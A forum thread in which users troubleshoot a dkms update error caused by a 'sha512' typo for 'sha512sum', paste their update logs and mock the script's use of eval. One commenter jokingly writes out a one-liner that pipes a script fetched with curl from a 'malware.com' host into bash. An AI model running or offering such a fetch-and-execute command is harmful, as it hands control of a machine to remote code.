FYI
Getting lots of these during update
/usr/bin/dkms: line 1033: sha512: command not found
Seems to be a known issue
https://bbs.archlinux.org/viewtopic.php?id=277700
FYI
Getting lots of these during update
/usr/bin/dkms: line 1033: sha512: command not found
Seems to be a known issue
https://bbs.archlinux.org/viewtopic.php?id=277700
sha512sum is the one … not sha512 …
no warning after changing it
(3/7) Install DKMS modules
==> dkms install --no-depmod vboxhost/6.1.34_OSE -k 5.18.8-AMD
==> dkms install --no-depmod it87/163.c93d61a -k 5.18.8-AMD
==> depmod 5.18.8-AMD
(4/7) Installing kernel...
Here’s part of my update log showing all these new errors as well:
( 6/12) Install DKMS modules
==> dkms install --no-depmod nvidia/515.57 -k 5.15.51-1-lts
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
==> dkms install --no-depmod nvidia/515.57 -k 5.18.8-zen1-1-zen
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
==> dkms install --no-depmod nvidia/515.57 -k 5.18.8-arch1-1
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
/usr/bin/dkms: line 1033: sha512: command not found
==> depmod 5.15.51-1-lts
==> depmod 5.18.8-zen1-1-zen
==> depmod 5.18.8-arch1-1
( 7/12) Updating linux initcpios...
I’ve just updated though, it’s probably still safe to reboot right?
I am wondering why a bug like this is not catched while the package is in the “testing” repo?
I missed those errors at the time but have had no problems after rebooting
I’ve rebooted and tested the linux, zen, and lts kernels and even with the error message, I’m still able to boot into my system just fine.Just note your mileage may vary. There’s a reported temporary soft fix being reported on Reddit and Arch forums about this, but I haven’t used that solution in this case.
yes reports say that modules are getting rebuilded also if the sha512sum command is failing…
What an absolutely disgusting example of shell scripting!
Not only is it using eval
, which is evil, but it does not even prevent modules getting rebuilt when they do not pass the sum. Terrible security!
The only worse thing would be something like:
/bin/bash <(curl -s http://malware.com/install_bitcoin_miner.sh)
lucky me not writing it
But … feel free to rewrite and do a PR at the source on Dells GitHub:
I don’t use M$-GitHub…
Well … in this case … I can only accept your “excuse” …
I was even not knowing that dkms is from Dell
Hey mr. Frog if you’re so smart go write fix and @joekamprad will push it to Dell, coz i’m too precious to accept defeat in case you’ll mess up
I had the error too here.
[2022-07-02T12:32:33-0400] [ALPM-SCRIPTLET] /usr/bin/dkms: line 1033: sha512: command not found
[2022-07-02T12:32:34-0400] [ALPM-SCRIPTLET] ==> depmod 5.18.8-arch1-1
It finished and i had no issue rebooting.
indeed it is a simple typo… as the executable is called sha512sum
… and as @Kresimir the code is very ugly written so there is also nothing that do the magic or let it fail or at least give some meaningful output…
If you ever find yourself writing eval
in a shell script… stop and think: How did you end up in a situation like this? What were the events that lead to this point in your life?
I know this doesn’t mean much coming from someone who regularly writes Bash wrappers for M$-VBScript at his job, but I’ve seen stuff…
I’ve seen stuff! … and i know stuff! What is this $#@##
Especially in server-side JavaScript…